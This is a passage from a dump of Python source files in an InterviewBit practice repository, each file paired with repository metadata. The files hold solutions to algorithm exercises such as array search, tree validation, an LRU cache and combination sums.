Rmax[i + 1])\n l_index = 0\n r_index = 0\n while l_index < len(A) and r_index < len(A):\n if Lmin[l_index] > Rmax[r_index]:\n l_index += 1\n else:\n max_diff = max(max_diff, r_index - l_index)\n r_index += 1\n return max_diff\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.maximumGap([]))" }, { "alpha_fraction": 0.396310418844223, "alphanum_fraction": 0.42302799224853516, "avg_line_length": 28.129629135131836, "blob_id": "b91106f2132cd18627691ce133972981c3001f1e", "content_id": "e450a812a070773cdd13d31c6ab5fa44d1c167d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1572, "license_type": "no_license", "max_line_length": 72, "num_lines": 54, "path": "/rotatedSortedArraySearch.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def array_search(self, A, B):\n if not A:\n return -1\n pivot = self.find_pivot(A)\n print (pivot)\n A1 = A[:pivot]\n A2 = A[pivot:]\n print (A1)\n print (A2)\n index = self.binary_search(A1, B)\n print (index)\n if index == -1:\n index = self.binary_search(A2, B)\n index = pivot + index if index != -1 else index\n\n return index\n\n def find_pivot(self, A):\n left = 0\n right = len(A)-1\n while (left<right):\n print (f\"{left} :: {right}\")\n mid = int((left + right + 1)/2)\n left_value = A[mid - 1] if mid > 0 else A[mid] - 1\n right_value = A[mid + 1] if mid < len(A) - 1 else A[mid] - 1\n if left_value < A[mid] > right_value:\n return mid + 1\n elif left_value < A[mid] < right_value:\n if A[mid] > A[0]:\n left = mid\n elif A[mid] < A[0]:\n right = mid\n elif left_value > A[mid] < right_value:\n return mid\n return 0\n\n def binary_search(self, A, B):\n left = 0\n right = len(A) - 1\n while left <= right:\n mid = int((left + right + 1)/2)\n if A[mid] > B:\n right = mid - 1\n elif A[mid] < B:\n left = mid + 1\n else:\n return mid\n return -1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.array_search([4,5,6,7,8,9,10,1,2,3], 2))" }, { "alpha_fraction": 0.45881006121635437, "alphanum_fraction": 0.48016780614852905, "avg_line_length": 32.177215576171875, "blob_id": "9486abdb69e902833f9e725dc896f8d200ba0912", "content_id": "ebf13eca150bc8253fb9bd306280c72bcdf86738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2622, "license_type": "no_license", "max_line_length": 96, "num_lines": 79, "path": "/tic_tac_toe.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "\n\ndef print_board(board):\n print(' | | ')\n print(f' {board[7]} | {board[8]} | {board[9]} ')\n print(' | | ')\n print('-----------')\n print(' | | ')\n print(f' {board[4]} | {board[5]} | {board[6]} ')\n print(' | | ')\n print('-----------')\n print(' | | ')\n print(f' {board[1]} | {board[2]} | {board[3]} ')\n print(' | | ')\n\ndef check_logic(board, marker):\n if board[7] == board[8] == board[9] == marker:\n return True\n elif board[4] == board[5] == board[6] == marker:\n return True\n elif board[1] == board[2] == board[3] == marker:\n return True\n elif board[7] == board[4] == board[1] == marker:\n return True\n elif board[8] == board[5] == board[2] == marker:\n return True\n elif board[9] == board[6] == board[3] == marker:\n return True\n elif board[1] == board[5] == board[9] == marker:\n return True\n elif board[7] == board[5] == board[3] == marker:\n return True\n else:\n return False\n\ndef main_logic():\n\n start = input(\"Do you wanna play tic tac toe: Yes or No:\")\n if start.lower() != 'yes':\n print(\"Cool! have a nice day ahead\")\n return\n\n while True:\n\n while True:\n player_1_symbol = input(\"Player 1, Choose X or O:\")\n if player_1_symbol in ['X', 'O']:\n break\n player_2_symbol = 'O' if player_1_symbol == 'X' else 'X'\n mode = 1 # 1 means player 1 and 2 means player 2\n marker = player_1_symbol\n board = [' ']*10\n board[0] = '#'\n print_board(board)\n while True:\n number = int(input('Player '+str(mode) + \" choose position to place your symbol: \"))\n if number not in range(1, 10):\n print (\"Please Select a valid position\")\n continue\n elif board[number] != '':\n print (\"Position already occupied\")\n continue\n board[number] = marker\n print_board(board)\n if not check_logic(board, marker):\n if '' not in board:\n print ('Well Played!! Its a tie!!!')\n break\n marker = player_2_symbol if mode == 1 else player_1_symbol\n mode = 2 if mode == 1 else 1\n else:\n print (\"Congratulations!! Player \"+ str(mode) + \" You have won this time!\")\n break\n\n start = input(\"Do you wanna play tic tac toe again?: Yes or No %s\")\n if start.lower() != 'yes':\n print(\"Cool! have a nice day ahead\")\n break\n\n\nmain_logic()" }, { "alpha_fraction": 0.34893617033958435, "alphanum_fraction": 0.37730497121810913, "avg_line_length": 27.239999771118164, "blob_id": "e25805f5c75d3758033164a70c64cc890fde9db6", "content_id": "241714b9c56d561332a3b5817ae20c36b054c25b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 705, "license_type": "no_license", "max_line_length": 63, "num_lines": 25, "path": "/arrays/firstMIssingInteger.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def firstMissingInteger(self, A):\n index = 0\n for i in range(len(A)):\n if A[i] <= 0:\n A[index], A[i] = A[i], A[index]\n index += 1\n A = A[index:]\n print (A)\n if len(A) == 0:\n return 1\n for i in range(len(A)):\n if abs(A[i]) <= len(A):\n if A[abs(A[i]) - 1] > 0:\n A[abs(A[i]) - 1] = -1 * A[abs(A[i]) - 1]\n print (A)\n for i in range(len(A)):\n if A[i] > 0:\n return i + 1\n return len(A) + 1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.firstMissingInteger([-8, -7 , -6, -5, 1, 2, 3]))" }, { "alpha_fraction": 0.39435145258903503, "alphanum_fraction": 0.41875872015953064, "avg_line_length": 29.838708877563477, "blob_id": "92d951473816a18a0a001c77f3ac8d8061e5925e", "content_id": "06a8874a70ad7d4a800021b62b9e0c7af9ed6fb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2868, "license_type": "no_license", "max_line_length": 71, "num_lines": 93, "path": "/Strings/validIpAddress.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def validAddress(self, A):\n if len(A) > 12:\n return []\n output = []\n ## first value\n first = self.get_possible_option(A, 1)\n print (first)\n second = []\n for element in first:\n print (element)\n sec = self.get_possible_option(A[len(element):], 2)\n print (sec)\n if len(sec) == 0:\n # first.remove(element)\n continue\n second.extend(sec)\n third = []\n for element in second:\n print (element)\n sec = self.get_possible_option(A[len(element):], 2)\n print (sec)\n if len(sec) == 0:\n # first.remove(element)\n continue\n third.extend(sec)\n print (first)\n print (second)\n print (third)\n\n def get_possible_option(self, A, pos):\n options = []\n length = len(A)\n if A[0] == '0':\n options.append('0')\n elif int(A[0]) > 2:\n if length >= (4 - pos + 1) and length <= (4 - pos)*3 + 1:\n options.append((A[0]))\n if length >= ((4 - pos + 2)) and length <= (4 - pos)*3 + 2:\n options.append((A[0:2]))\n else:\n if length >= (4 - pos + 1) and length <= (4 - pos)*3 + 1:\n options.append((A[0]))\n if length >= ((4 - pos + 2)) and length <= (4 - pos)*3 + 2:\n options.append((A[0:2]))\n if length >= ((4 - pos + 3)) and length <= (4 - pos)*3 + 3:\n options.append((A[0:3]))\n return options\n\n def is_valid(self, ip):\n\n # Spliting by \".\"\n ip = ip.split(\".\")\n\n # Checking for the corner cases\n for i in ip:\n if len(i) > 3 or int(i) < 0 or int(i) > 255:\n return False\n if len(i) > 1 and int(i) == 0:\n return False\n if len(i) > 1 and int(i) != 0 and i[0] == '0':\n return False\n return True\n\n # Function converts string to IP address\n def convert(self, A):\n sz = len(A)\n\n # Check for string size\n if sz > 12:\n return []\n snew = A\n l = []\n\n # Generating different combinations.\n for i in range(1, sz - 2):\n for j in range(i + 1, sz - 1):\n for k in range(j + 1, sz):\n snew = snew[:k] + \".\" + snew[k:]\n snew = snew[:j] + \".\" + snew[j:]\n snew = snew[:i] + \".\" + snew[i:]\n\n print (snew)\n # Check for the validity of combination\n if self.is_valid(snew):\n l.append(snew)\n snew = A\n return l\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.convert(\"0100100\"))\n" }, { "alpha_fraction": 0.4489639401435852, "alphanum_fraction": 0.4627782106399536, "avg_line_length": 28.636363983154297, "blob_id": "af3b4e9706f30a57842815060325730b89bde4ec", "content_id": "64888b5ee8ca83e36eaee306657763c93a0e7f18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1303, "license_type": "no_license", "max_line_length": 75, "num_lines": 44, "path": "/Trees/validBinarySearchTree.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param A : root node of tree\n # @return an integer\n def isValidBST(self, A):\n if A == None:\n return 1\n return self.checkBST(A, -1, -1)\n\n def checkBST(self, A, min_val, max_val):\n if A == None:\n return 1\n # print (A.val)\n # print (min_val)\n # print (max_val)\n if A.left != None:\n if A.val < A.left.val:\n return 0\n # print (A.val)\n if A.right != None:\n if A.val > A.right.val:\n return 0\n # print (A.val)\n if A.right != None:\n if A.right.val >= max_val and max_val != -1:\n # print (A.val)\n return 0\n if A.left != None:\n if A.left.val < min_val and min_val != -1:\n # print (A.val)\n return 0\n # print (A.val)\n val1 = self.checkBST(A.left, min_val, max(A.val, min_val))\n if not val1:\n return 0\n min_value = min(A.val + 1, max_val) if max_val != -1 else A.val + 1\n val2 = self.checkBST(A.right, min_value, max_val)\n return val2" }, { "alpha_fraction": 0.42947202920913696, "alphanum_fraction": 0.44208037853240967, "avg_line_length": 27.863636016845703, "blob_id": "b3bb8220e0f8826424c2af1028847a604ec58388", "content_id": "65e011a994fd4cb43ec272c3717bb89cb4beaa5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 82, "num_lines": 44, "path": "/backtracking/combinations.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def combinations(self, A, B):\n seq = list(range(1, A + 1))\n out = []\n out.append([])\n out = self.comb(seq, B, 0, out)\n out_B = []\n for i in range(len(out)):\n if len(out[i]) == B:\n out_B.append(out[i])\n return out_B\n\n def comb(self, seq, B, index, out):\n if index >= len(seq):\n return out\n out = self.comb(seq, B, index + 1, out)\n new_out = []\n for i in range(len(out)):\n if len(out[i]) < B:\n temp = [seq[index]] + out[i]\n new_out.append(temp)\n\n out = [out[0]] + new_out + out[1:] if len(out) > 1 else [out[0]] + new_out\n # print (out)\n return out\n\n def comb1(self, seq, B, index, out):\n if index >= len(seq):\n return out\n out = self.comb(seq, B, index + 1, out)\n new_out = []\n for i in range(len(out)):\n if len(out[i]) < B:\n temp = [seq[index]] + out[i]\n new_out.append(temp)\n\n out = [out[0]] + new_out + out[1:] if len(out) > 1 else [out[0]] + new_out\n # print (out)\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.combinations(4, 2))" }, { "alpha_fraction": 0.427335649728775, "alphanum_fraction": 0.477162629365921, "avg_line_length": 41.514705657958984, "blob_id": "c2a5272d5d89cd29ebf37d147f92b07ddf48644c", "content_id": "e43b9283e4b937d5f7d66b3bf9021a93aa685502", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2890, "license_type": "no_license", "max_line_length": 307, "num_lines": 68, "path": "/arrays/largest_rectangle_histogram.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n # @param A : list of integers\n\t# @return an integer\n def largestRectangleArea(self, A):\n rectangle_stack = []\n max_value = 0\n index = 0\n while index < len(A):\n if not rectangle_stack or A[index] >= A[rectangle_stack[-1]]:\n rectangle_stack.append(index)\n index += 1\n else:\n top = rectangle_stack[-1]\n rectangle_stack.pop(len(rectangle_stack) - 1)\n if not rectangle_stack:\n length = index\n else:\n length = index - rectangle_stack[-1] - 1\n area = A[top] * length\n if max_value < area:\n max_value = area\n while rectangle_stack:\n top = rectangle_stack[-1]\n rectangle_stack.pop(len(rectangle_stack) - 1)\n\n if not rectangle_stack:\n length = index\n else:\n length = index - rectangle_stack[-1] - 1\n area = A[top] * length\n if max_value < area:\n max_value = area\n\n return max_value\n\n # def largestRectangleArea(self, A):\n # for i in range(len(A)):\n # element = {}\n # element['value'] = A[i]\n # if rectangle_stack and rectangle_stack[-1]['value'] >= A[i]:\n # for index, old_element in enumerate(rectangle_stack):\n # if old_element['value'] >= A[i]:\n # element['start_index'] = old_element['start_index']\n # break\n # else:\n # element['start_index'] = i\n # rectangle_stack.append(element)\n #\n # popping_list = []\n # for index, element in enumerate(rectangle_stack):\n # if element['value'] > A[i]:\n # rectangle_area = element['value'] * (i - element['start_index'])\n # if max_value < rectangle_area:\n # max_value = rectangle_area\n # popping_list.append(index)\n # for index in reversed(popping_list):\n # rectangle_stack.pop(index)\n # print (rectangle_stack)\n # print (max_value)\n # for index, element in enumerate(rectangle_stack):\n # rectangle_area = element['value'] * (len(A) - element['start_index'])\n # if max_value < rectangle_area:\n # max_value = rectangle_area\n # return max_value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.largestRectangleArea([ 65, 19, 8, 39, 14, 21, 83, 87, 95, 11, 14, 58, 11, 90, 34, 96, 34, 62, 96, 38, 58, 57, 12, 78, 57, 60, 7, 58, 56, 49, 36, 67, 69, 30, 74, 46, 97, 62, 47, 42, 43, 98, 60, 32, 39, 75, 69, 28, 35, 52, 89, 78, 4, 26, 65, 21, 39, 89, 87, 69, 48, 60, 6, 21, 5, 98, 52, 59 ]))" }, { "alpha_fraction": 0.3853658437728882, "alphanum_fraction": 0.40292683243751526, "avg_line_length": 33.76271057128906, "blob_id": "e4eb6051b58d07ec2be0a2ca28a43669a5216dfa", "content_id": "3f2582c94269af863f27c02fb5aeeb588f250fd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2050, "license_type": "no_license", "max_line_length": 69, "num_lines": 59, "path": "/arrays/generateMatrix.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n\n def generateMatrix(self, A):\n seq = [i for i in range(1, pow(A, 2) + 1)]\n print (seq)\n row_start = 0\n row_end = A\n column_start = 0\n column_end = A\n mode = 0\n B = [[0 for col in range(A)] for each_row in range(A)]\n while seq:\n print (f\"row: {row_start}: {row_end}\")\n print(f\"col: {column_start}: {column_end}\")\n if mode == 0:\n seq_length = column_end - column_start\n seq_intd = seq[:seq_length]\n index = 0\n for i in range(column_start, column_end):\n B[row_start][i] = seq_intd[index]\n index += 1\n row_start += 1\n mode = 1\n elif mode == 1:\n seq_length = row_end - row_start\n print (seq_length)\n seq_intd = seq[:seq_length]\n index = 0\n for i in range(row_start, row_end):\n B[i][column_end - 1] = seq_intd[index]\n index += 1\n column_end -= 1\n mode = 2\n elif mode == 2:\n seq_length = column_end - column_start\n seq_intd = seq[:seq_length]\n index = 0\n for i in range(column_end - 1, column_start - 1, -1):\n B[row_end - 1][i] = seq_intd[index]\n index += 1\n row_end -= 1\n mode = 3\n elif mode == 3:\n seq_length = row_end - row_start\n seq_intd = seq[:seq_length]\n index = 0\n for i in range(row_end - 1, row_start - 1, -1):\n B[i][column_start] = seq_intd[index]\n index += 1\n column_start += 1\n mode = 0\n seq = seq[seq_length:]\n print (seq)\n print (B)\n return B\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.generateMatrix(5))" }, { "alpha_fraction": 0.38718292117118835, "alphanum_fraction": 0.420560747385025, "avg_line_length": 27.846153259277344, "blob_id": "82308d492aa090e7a09cb40858a8ea6d98208856", "content_id": "b6c44a396d5a76f7d5cba024c82abe1fdfeab372", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 749, "license_type": "no_license", "max_line_length": 53, "num_lines": 26, "path": "/Two Pointers/mergeTwoSortedLists.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def merge(self, A, B):\n pointer1 = 0\n pointer2 = 0\n while pointer1 < len(A) or pointer2 < len(B):\n if pointer1 == len(A):\n A.extend(B[pointer2:])\n break\n elif pointer2 == len(B):\n break\n elif A[pointer1] <= B[pointer2]:\n pointer1 += 1\n elif A[pointer1] > B[pointer2]:\n A.insert(pointer1, B[pointer2])\n pointer1 += 1\n pointer2 += 1\n # return A\n output = ''\n for i in range(len(A)):\n output += str(A[i]) + ' '\n print (output)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.merge([ -4, 3 ], [ -2, -2 ]))" }, { "alpha_fraction": 0.3143322467803955, "alphanum_fraction": 0.33387622237205505, "avg_line_length": 22.653846740722656, "blob_id": "3eb1849eaa9bf7f5797f699b8a87e8652f61d712", "content_id": "7f86481185945382ee7bac1de1556f605ada3787", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 614, "license_type": "no_license", "max_line_length": 34, "num_lines": 26, "path": "/hashing/colorfulNumber.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def colorful(self, A):\n dict = {}\n index = 1\n A = str(A)\n n = len(A)\n while index <= n:\n i = 0\n while i+index <= n:\n num = A[i:i+index]\n # print (num)\n val = 1\n for nu in num:\n val *= int(nu)\n if val in dict:\n return 0\n # print (val)\n dict[val] = 1\n i += 1\n index += 1\n return 1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.colorful(3255))" }, { "alpha_fraction": 0.4315352737903595, "alphanum_fraction": 0.43706777691841125, "avg_line_length": 22.354839324951172, "blob_id": "089023d5e418dcf397633dd96cc6ec438d3c0855", "content_id": "f52d9fa64dcded79810f1919f9a3c898869a52f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 723, "license_type": "no_license", "max_line_length": 41, "num_lines": 31, "path": "/Linked LIst/rotateList.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def rotateList(self, A, k):\n ptr = A\n length = 0\n head = A\n while A != None:\n length += 1\n A = A.next\n A = head\n k = k % length\n if k == 0:\n return head\n last = ptr\n for i in range(k+1):\n last = ptr\n ptr = ptr.next\n while ptr != None:\n A = A.next\n last = ptr\n ptr = ptr.next\n new_head = A.next\n A.next = None\n last.next = head\n return new_head" }, { "alpha_fraction": 0.3858974277973175, "alphanum_fraction": 0.4115384519100189, "avg_line_length": 26.85714340209961, "blob_id": "13a3bbeaca6ffa293a3a11d96c2b51f4049c82f7", "content_id": "dc6b167e41cb59460aa1b1f35d9a45bfef470b65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 780, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/Stack and Queues/nearestSmallestElement.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def nearestSmallestElement(self, A):\n n = len(A)\n arr = []\n if n == 0:\n return arr\n arr.append(-1)\n stack = []\n stack.append(A[0])\n for i in range(1, n):\n print (stack)\n print (arr)\n if A[i] > stack[-1]:\n arr.append(stack[-1])\n stack.append(A[i])\n else:\n last = -1\n while stack and A[i] <= stack[-1]:\n stack.pop()\n last = stack[-1] if stack else last\n arr.append(last)\n stack.append(A[i])\n return arr\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.nearestSmallestElement([1, 2, 3, 4 ,5 ,6 ,7 ,8 ,9, 10]))\n" }, { "alpha_fraction": 0.4843205511569977, "alphanum_fraction": 0.503484308719635, "avg_line_length": 26.380952835083008, "blob_id": "ee0a2cf1d07dc8ccf21cd47f8586b9b9ac71b4f1", "content_id": "0d5372b20ccffe4518b25046a7de841df6d221de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 574, "license_type": "no_license", "max_line_length": 49, "num_lines": 21, "path": "/Trees/balancedBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def balancedBT(self, A):\n height_diff = self.check_height(A)\n if height_diff == -1:\n return 0\n else:\n return 1\n\n def check_height(self, A):\n if A == None:\n return 0\n left_height = self.check_height(A.left)\n if left_height == -1:\n return -1\n right_height = self.check_height(A.right)\n if right_height == -1:\n return -1\n if abs(left_height - right_height) > 1:\n return -1\n return max(left_height, right_height) + 1" }, { "alpha_fraction": 0.342342346906662, "alphanum_fraction": 0.3733733594417572, "avg_line_length": 25.3157901763916, "blob_id": "425dc1e4f78590d95f5b8b85a5d1420308122695", "content_id": "352e30b3981252293af733a4a31aaa605dde0b75", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 999, "license_type": "no_license", "max_line_length": 47, "num_lines": 38, "path": "/arrays/plus_one.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n\t# @param A : list of integers\n\t# @return a list of integers\n\t# def plusOne(self, A):\n\t# num = 0\n # number_of_element = len(A)\n\t# A = reversed(A)\n\t# for i in range(len(number_of_element)):\n\t# num += A[i] * pow(10, i)\n\t# num += 1\n\t# B = []\n\t# while num > 0:\n\t# B.append(num % 10)\n\t# num = num / 10\n\t# return B\n def plusOne(self, A):\n if A:\n A[-1] += 1\n carry = int(A[-1]/10)\n for i in range(len(A) - 2, -1, -1):\n if carry == 1:\n A[i] += 1\n carry = int(A[i]/10)\n A[i] = A[i] % 10\n if carry == 1:\n A.insert(0, 1)\n for i in range(len(A)):\n if A[i] > 0:\n index = i\n break\n return A[index:]\n else:\n return []\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.plusOne([0, 1, 2, 3]))" }, { "alpha_fraction": 0.43849778175354004, "alphanum_fraction": 0.4654540717601776, "avg_line_length": 30.979080200195312, "blob_id": "08e0dc6f96f64485eac5eadc33efccf81023ccb6", "content_id": "0040dd91a1ea0f016579bb4219e0459e00500135", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7642, "license_type": "no_license", "max_line_length": 142, "num_lines": 239, "path": "/heaps and maps/LRU.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import heapq\n\nclass Node():\n\n def __init__(self, key, value):\n self.next = None\n self.prev = None\n self.value = value\n self.key = key\n\nclass Solution():\n\n## Best Solution is with double link list and Map\n\n def lru(self, A):\n self.size = 0\n self.max_size = A\n self.head = None\n self.tail = None\n # self.heap = []\n self.hash_map = {}\n\n def get(self, key):\n if key not in self.hash_map or self.hash_map[key] == -1:\n return -1\n key_value = self.hash_map[key]\n if key_value == self.head:\n return key_value.value\n if key_value == self.tail:\n self.tail = key_value.prev\n\n if key_value.prev != None:\n key_value.prev.next = key_value.next\n if key_value.next != None:\n key_value.next.prev = key_value.prev\n key_value.prev = None\n key_value.next = self.head\n self.head.prev = key_value\n self.head = key_value\n if self.tail == None:\n self.tail = key_value\n return key_value.value\n\n # if key not in self.hash_map or self.hash_map[key][1] == -1:\n # return -1\n # key_value = self.hash_map[key]\n # index = self.heap.index((key_value[0], key))\n # self.heap[index] = (self.number, key)\n # self.hash_map[key] = (self.number, key_value[1])\n # self.number += 1\n # heapq.heapify(self.heap)\n # return self.hash_map[key][1]\n\n def set(self, key, value):\n if key not in self.hash_map:\n if self.size < self.max_size:\n new_node = Node(key, value)\n new_node.next = self.head\n if self.head != None:\n self.head.prev = new_node\n self.hash_map[self.head.key] = self.head\n self.head = new_node\n self.hash_map[key] = new_node\n self.size += 1\n if self.tail == None:\n self.tail = new_node\n else:\n temp = self.tail\n self.tail = self.tail.prev\n if self.tail != None:\n self.tail.next = None\n new_node = Node(key, value)\n if temp != self.head:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n self.hash_map[key] = new_node\n self.hash_map[temp.key] = -1\n if self.tail == None:\n self.tail = new_node\n del (temp)\n else:\n key_value = self.hash_map[key]\n if key_value == -1:\n temp = self.tail\n self.tail = self.tail.prev\n if self.tail != None:\n self.tail.next = None\n self.hash_map[temp.key] = -1\n new_node = Node(key, value)\n if temp != self.head:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n self.hash_map[key] = new_node\n if self.tail == None:\n self.tail = new_node\n del (temp)\n else:\n if key_value == self.head:\n key_value.value = value\n return\n if key_value == self.tail:\n self.tail = key_value.prev\n if key_value.prev != None:\n key_value.prev.next = key_value.next\n if key_value.next != None:\n key_value.next.prev = key_value.prev\n key_value.prev = None\n key_value.next = self.head\n self.head.prev = key_value\n self.head = key_value\n self.head.value = value\n self.hash_map[key] = key_value\n if self.tail == None:\n self.tail = key_value\n\n # if key not in self.hash_map:\n # if self.size < self.max_size:\n # heapq.heappush(self.heap, (self.number, key))\n # self.hash_map[key] = (self.number, value)\n # self.number += 1\n # self.size += 1\n # else:\n # val = heapq.heappop(self.heap)\n # self.hash_map[val[1]] = (-1, -1)\n # heapq.heappush(self.heap, (self.number, key))\n # self.hash_map[key] = (self.number, value)\n # self.number += 1\n # else:\n # key_value = self.hash_map[key]\n # if key_value[1] == -1:\n # val = heapq.heappop(self.heap)\n # self.hash_map[val[1]] = (-1, -1)\n # heapq.heappush(self.heap, (self.number, key))\n # self.hash_map[key] = (self.number, value)\n # self.number += 1\n # else:\n # index = self.heap.index((key_value[0], key))\n # self.heap[index] = (self.number, key)\n # heapq.heapify(self.heap)\n # self.hash_map[key] = (self.number, value)\n # self.number += 1\n\n def print_element(self):\n # print (self.head)\n # print(self.head.prev)\n # print(self.head.next)\n # print(self.tail)\n # print(self.tail.prev)\n # print(self.tail.next)\n temp = self.head\n index = 0\n print (f\"head : {self.head} :::: tail : {self.tail}\")\n while temp != None:\n print (f\"link list values::{temp}::{temp.next}::{temp.prev}\")\n temp = temp.next\n index += 1\n if index > 10:\n break\n print (self.hash_map)\n\nif __name__ == \"__main__\":\n sol = Solution()\n # sol.lru(4)\n # sol.set(5, 13)\n # sol.set(9, 6)\n # sol.set(4, 1)\n # sol.print_element()\n # print (sol.get(4))\n # sol.print_element()\n # sol.set(6, 1)\n # sol.print_element()\n # sol.set(8, 11)\n # sol.print_element()\n # print (sol.get(13))\n # print(sol.get(1))\n # sol.set(8, 11)\n # sol.print_element()\n # sol.set(12, 12)\n # sol.print_element()\n # print(sol.get(10))\n # sol.set(15, 13)\n # sol.print_element()\n # sol.set(2, 13)\n # sol.print_element()\n # sol.set(7, 5)\n # sol.print_element()\n # sol.set(10, 3)\n # sol.print_element()\n # print(sol.get(6))\n # print(sol.get(10))\n # sol.set(15, 14)\n # sol.set(5, 12)\n # sol.print_element()\n # print(sol.get(5))\n # print(sol.get(7))\n # print(sol.get(15))\n # print(sol.get(5))\n # print(sol.get(6))\n # print(sol.get(10))\n # sol.set(7, 13)\n # print(sol.get(14))\n # sol.set(8, 9)\n # print(sol.get(4))\n # sol.set(6, 11)\n # print(sol.get(9))\n # sol.set(6, 12)\n # print(sol.get(3))\n # sol.print_element()\n ## 32 4 S 5 13 S 9 6 S 4 1 G 4 S 6 1 S 8 11 G 13 G 1 S 12 12 G 10 S 15 13 S 2 13 S 7 5 S 10 3 G 6 G 10 S 15 14 S 5 12 G 5 G 7 G 15 G 5 G 6\n # G 10 S 7 13 G 14 S 8 9 G 4 S 6 11 G 9 S 6 12 G 3\n\n sol.lru(1)\n sol.set(2, 1)\n sol.print_element()\n sol.set(2, 2)\n sol.print_element()\n print (sol.get(2))\n sol.set(1, 1)\n sol.print_element()\n sol.set(4, 1)\n sol.print_element()\n print(sol.get(2))\n\n # print(sol.get(1))\n # sol.set(1, 10)\n # sol.set(5, 12)\n # sol.print_element()\n # sol.set(1, 12)\n # sol.print_element()\n # sol.set(6, 14)\n # sol.print_element()\n # print (sol.get(5))\n # print (sol.get(1))\n # print (sol.get(6))\n # print (sol.get(1))\n # sol.set(5, 15)\n # sol.print_element()" }, { "alpha_fraction": 0.3416039049625397, "alphanum_fraction": 0.35888347029685974, "avg_line_length": 30.36111068725586, "blob_id": "356ea395f39094f584f8e3cc9b394021cce75ea6", "content_id": "148706f587224620884d5270fb109cd7fe952d52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2257, "license_type": "no_license", "max_line_length": 64, "num_lines": 72, "path": "/backtracking/combinationSum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def combSum(self, A, B):\n out = []\n sum_out = []\n temp = []\n A.sort()\n i = 0\n while i < len(A) - 1:\n if A[i] == A[i+1]:\n A.pop(i+1)\n else:\n i += 1\n # self.get_comb(A, B, 0, temp, out, sum_out)\n self.get_comb(A, 0, B, [], out)\n return out\n\n def get_comb1(self, A, B, index, temp, out, sum_out):\n if index >= len(A):\n return\n if A[index] <= B:\n if A[index] == B:\n out.append([A[index]])\n else:\n new = []\n i = 0\n # for i in range(len(temp)):\n print (sum_out)\n print (temp)\n print (A[index])\n while i < len(temp):\n if temp[i][-1] > A[index]:\n i += 1\n continue\n if sum_out[i] + A[index] < B:\n new_temp = temp[i].copy()\n new_temp.append(A[index])\n # temp.append(new_temp)\n temp.insert(i, new_temp)\n sum_out.insert(i, sum_out[i] + A[index])\n i += 1\n # sum_out[i] += A[index]\n elif sum_out[i] + A[index] == B:\n new_temp = temp[i].copy()\n new_temp.append(A[index])\n temp.insert(i, new_temp)\n sum_out.insert(i, B)\n i += 1\n # out.append(new_temp)\n i += 1\n temp.append([A[index]])\n sum_out.append(A[index])\n self.get_comb1(A, B, index + 1, temp, out, sum_out)\n\n def get_comb(self, A, index, sum, arr, res):\n if sum < 0:\n return\n\n if sum == 